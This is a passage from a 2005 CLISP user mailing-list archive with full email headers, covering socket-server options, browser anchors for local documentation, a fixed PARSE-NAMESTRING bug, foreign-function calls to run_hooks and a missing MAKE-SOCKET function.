clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 09:53:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjKWy-000641-Nk for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 09:53:42 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB5HrKMG023407; Mon, 5 Dec 2005 12:53:20 -0500 (EST) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Mon, 5 Dec 2005 08:38:28 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: socket-server questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 09:54:07 2005 X-Original-Date: Mon, 05 Dec 2005 12:52:18 -0500 > * Tomas Zellerin [2005-12-05 08:38:28 +0100]: > > To summarize, I would like the (socket-server) to accept two keyword > parameters, :interface and :backlog. It would be nice to see it > implemented, though I may try to make it myself if you think the idea > is OK. http://sourceforge.net/tracker/index.php?func=detail&aid=1373705&group_id=1355&atid=351355 -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.jihadwatch.org/ http://pmw.org.il/ http://www.dhimmi.com/ http://www.memri.org/ http://ffii.org/ A poet who reads his verse in public may have other nasty habits. From kavenchuk@jenty.by Tue Dec 06 00:35:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjYIm-00043n-Sq for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 00:35:56 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjYIl-0008D2-DK for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 00:35:56 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZFCRB; Tue, 6 Dec 2005 10:37:14 +0200 Message-ID: <43954DC9.9050403@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] local impnotes and describe Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 6 00:36:00 2005 X-Original-Date: Tue, 06 Dec 2005 10:37:29 +0200 clisp-2.36, mingw (setf *impnotes-root-default* "file:///C:/clisp-2.36/doc/impnotes.html") (describe 'getenv) GETENV is the symbol GETENV, lies in #, is accessible in 9 packages COMMON-LISP-USER, EXT, FFI, LDAP, POSIX, READLINE, SCREEN, SYSTEM, ZLIB, names a function, has 2 properties SYSTEM::SETF-EXPANDER, SYSTEM::DOC ;; SYSTEM::ENSURE-IMPNOTES-MAP(#P"C:\\clisp-2.36\\data\\Symbol-Table.text")...536 IDs . ;; starting the default system browser with url "file:///C:/clisp-2.36/doc/impnotes.html#getenv"...done ... But browser open link "file:///C:/clisp-2.36/doc/impnotes.html", without #getenv. Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Dec 06 07:58:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjfCb-00052k-C6 for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 07:58:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjfCS-0007JG-TP for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 07:57:58 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB6FuJoE001682; Tue, 6 Dec 2005 10:57:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43954DC9.9050403@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 06 Dec 2005 10:37:29 +0200") References: <43954DC9.9050403@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: local impnotes and describe Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 6 07:59:14 2005 X-Original-Date: Tue, 06 Dec 2005 10:55:18 -0500 > * Yaroslav Kavenchuk [2005-12-06 10:37:29 +0200]: > > clisp-2.36, mingw > > (setf *impnotes-root-default* "file:///C:/clisp-2.36/doc/impnotes.html") > > (describe 'getenv) > > GETENV is the symbol GETENV, lies in #, is accessible in 9 > packages COMMON-LISP-USER, EXT, FFI, LDAP, POSIX, READLINE, SCREEN, > SYSTEM, ZLIB, names a function, has 2 properties SYSTEM::SETF-EXPANDER, > SYSTEM::DOC > ;; > SYSTEM::ENSURE-IMPNOTES-MAP(#P"C:\\clisp-2.36\\data\\Symbol-Table.text")...536 > IDs > . > ;; starting the default system browser with url > "file:///C:/clisp-2.36/doc/impnotes.html#getenv"...done > ... > > > But browser open link "file:///C:/clisp-2.36/doc/impnotes.html", without > #getenv. *browser* :default does not support starting with anchors -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.palestinefacts.org/ http://www.openvotingconsortium.org/ http://www.camera.org Binaries die but source code lives forever. From kavenchuk@tut.by Tue Dec 06 13:27:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjkLb-00089h-W8 for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 13:27:39 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjkLb-0000wF-CH for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 13:27:40 -0800 Received: from [194.158.220.227] (account kavenchuk HELO [194.158.220.227]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 29727643 for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 23:21:13 +0200 Message-ID: <4396023C.8080402@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: local impnotes and describe References: <43954DC9.9050403@jenty.by> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 6 13:28:43 2005 X-Original-Date: Tue, 06 Dec 2005 23:27:24 +0200 Sam Steingold wrote: >*browser* :default does not support starting with anchors > > > Thanks. I set *browser* to :mozilla (describe 'getenv) good work. But (describe 'list) and *clhs-root-default* with url to local files - not good: mozilla do not take url to local files without prefix "file:///" With prefix "file:///" not work PARSE-NAMESTRING: [1]> *clhs-root-default* "file:///C:/CL/doc/HyperSpec/" [2]> (describe 'nreverse) NREVERSE is the symbol NREVERSE, lies in #, is accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a *** - PARSE-NAMESTRING: syntax error in filename "file:///C:/CL/doc/HyperSpec/Data/Map_Sym.txt" at position 4 The following restarts are available: ABORT :R1 ABORT Break 1 [3]> Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Dec 06 14:20:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjlAS-0002mL-Kf for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 14:20:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjlAL-0003aK-Sf for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 14:20:09 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB6MJgs1024425; Tue, 6 Dec 2005 17:19:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4396023C.8080402@tut.by> (Yaroslav Kavenchuk's message of "Tue, 06 Dec 2005 23:27:24 +0200") References: <43954DC9.9050403@jenty.by> <4396023C.8080402@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: local impnotes and describe Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 6 14:21:11 2005 X-Original-Date: Tue, 06 Dec 2005 17:18:41 -0500 > * Yaroslav Kavenchuk [2005-12-06 23:27:24 +0200]: > > *** - PARSE-NAMESTRING: syntax error in filename > "file:///C:/CL/doc/HyperSpec/Data/Map_Sym.txt" at > position 4 I think I fixed this in the CVS. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.memri.org/ http://pmw.org.il/ http://truepeace.org http://www.mideasttruth.com/ http://www.honestreporting.com Never trust a man who can count to 1024 on his fingers. From kavenchuk@jenty.by Tue Dec 06 23:27:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ejthi-0000fh-FO for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 23:27:06 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ejthh-0006CK-2j for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 23:27:06 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZFDSN; Wed, 7 Dec 2005 09:28:21 +0200 Message-ID: <43968F24.6000405@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] run_hooks? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 6 23:28:01 2005 X-Original-Date: Wed, 07 Dec 2005 09:28:36 +0200 How define foreign function for clisp internal function "run_hooks"? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Dec 06 23:27:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ejthr-0000fz-Jw for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 23:27:15 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ejthr-0006MD-8X for clisp-list@lists.sourceforge.net; Tue, 06 Dec 2005 23:27:15 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZFD19; Tue, 6 Dec 2005 17:02:41 +0200 Message-ID: <4395A813.40802@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] run_hooks? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 6 23:28:02 2005 X-Original-Date: Tue, 06 Dec 2005 17:02:43 +0200 How define foreign function for clisp internal function "run_hooks"? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Dec 07 01:04:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjvEE-0006FP-Oz for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 01:04:46 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjvED-00087r-Bs for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 01:04:46 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZF11J; Wed, 7 Dec 2005 11:06:07 +0200 Message-ID: <4396A60E.60006@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: local impnotes and describe References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 7 01:05:03 2005 X-Original-Date: Wed, 07 Dec 2005 11:06:22 +0200 Sam Steingold wrote: >>*** - PARSE-NAMESTRING: syntax error in filename >> "file:///C:/CL/doc/HyperSpec/Data/Map_Sym.txt" at >> position 4 > > > I think I fixed this in the CVS. > thanks. > Yes, it work! Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Dec 07 07:03:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ek0p4-00037U-Kf for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:03:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ek0ow-0005Tm-Tm for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:03:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB7F2NEb012182; Wed, 7 Dec 2005 10:02:28 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43968F24.6000405@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 07 Dec 2005 09:28:36 +0200") References: <43968F24.6000405@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: run_hooks? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 7 07:04:05 2005 X-Original-Date: Wed, 07 Dec 2005 10:01:23 -0500 > * Yaroslav Kavenchuk [2005-12-07 09:28:36 +0200]: > > How define foreign function for clisp internal function "run_hooks"? (defun run-hooks (hooks) (mapc #'funcall hooks)) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.memri.org/ http://ffii.org/ http://www.mideasttruth.com/ http://www.camera.org http://pmw.org.il/ Never let your schooling interfere with your education. From kavenchuk@jenty.by Wed Dec 07 07:19:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ek14r-0004DM-7S for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:19:29 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ek14n-0005ct-Is for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:19:29 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZFF6A; Wed, 7 Dec 2005 17:20:50 +0200 Message-ID: <4396FDE1.1030903@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: run_hooks? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 7 07:20:04 2005 X-Original-Date: Wed, 07 Dec 2005 17:21:05 +0200 Sam Steingold wrote: >>How define foreign function for clisp internal function "run_hooks"? > > > (defun run-hooks (hooks) (mapc #'funcall hooks)) > I meant the following: (ffi:def-call-out run-hooks (:name "run_hooks") (:library :default) ... It is possible? Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Dec 07 07:55:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ek1de-000784-8V for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:55:26 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ek1dc-0000t1-Bw for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:55:26 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB7Fsw2Y015274; Wed, 7 Dec 2005 10:54:58 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4396FDE1.1030903@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 07 Dec 2005 17:21:05 +0200") References: <4396FDE1.1030903@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: run_hooks? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 7 07:56:02 2005 X-Original-Date: Wed, 07 Dec 2005 10:53:57 -0500 > * Yaroslav Kavenchuk [2005-12-07 17:21:05 +0200]: > > Sam Steingold wrote: > >>>How define foreign function for clisp internal function "run_hooks"? >> >> >> (defun run-hooks (hooks) (mapc #'funcall hooks)) >> > > I meant the following: > > (ffi:def-call-out run-hooks (:name "run_hooks") (:library :default) > ... > > It is possible? I get 'FFI::FOREIGN-LIBRARY-FUNCTION: no dynamic object named "run_hooks" in library :DEFAULT' why would you want to do this? if your C function operates on Lisp objects, it is much better to use clisp-link and/or dynload-modules. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.honestreporting.com http://truepeace.org http://www.openvotingconsortium.org/ http://www.dhimmi.com/ http://ffii.org/ Don't use force -- get a bigger hammer. From rray@mstc.state.ms.us Wed Dec 07 07:58:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ek1gc-0007HB-Ql for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:58:30 -0800 Received: from itspmx2.state.ms.us ([205.144.224.112]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ek1gY-0002rr-NK for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 07:58:28 -0800 Received: from rray.drdc.mstc.ms.gov ([10.3.192.2]) by itspmx2.state.ms.us (8.13.4/8.13.4) with ESMTP id jB7FvKdJ019271 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 7 Dec 2005 09:57:25 -0600 (CST) Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id jB7FuBDY011060 for ; Wed, 7 Dec 2005 09:56:11 -0600 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id jB7FuBAp011057 for ; Wed, 7 Dec 2005 09:56:11 -0600 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] undefined function ORG.MAPCAR.FTP.CLIENT::MAKE-SOCKET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 7 07:59:02 2005 X-Original-Date: Wed, 7 Dec 2005 09:56:11 -0600 (CST) I was trying out the package cl-ftp-1.3 and I get this error. I can't find a MAKE-SOCKET function. Since this package is from 2002 I'm guessing that function has been dropped. What should I change it to? Thanks Richard From sds@gnu.org Wed Dec 07 08:14:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ek1wD-0000F1-Cl for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 08:14:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ek1wA-00054u-K1 for clisp-list@lists.sourceforge.net; Wed, 07 Dec 2005 08:14:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB7GE9El016477; Wed, 7 Dec 2005 11:14:09 -0500 (EST) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Wed, 7 Dec 2005 09:56:11 -0600 (CST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to 